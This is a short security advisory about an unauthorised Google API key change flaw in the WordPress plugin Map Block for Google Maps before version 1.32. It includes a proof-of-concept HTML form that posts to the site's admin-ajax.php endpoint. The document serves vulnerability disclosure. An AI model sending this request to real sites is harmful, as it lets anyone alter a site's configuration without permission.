Map Block for Google Maps < 1.32 - Unauthorised Google API Key change

Description

The gmw_map_block_save_key AJAX action, available to both authenticated and unauthenticated users did not have any check in place to prevent unauthorised change of the Google API key.

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="gmw_map_block_save_key" />
      <input type="hidden" name="api_key" value="XXXX" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>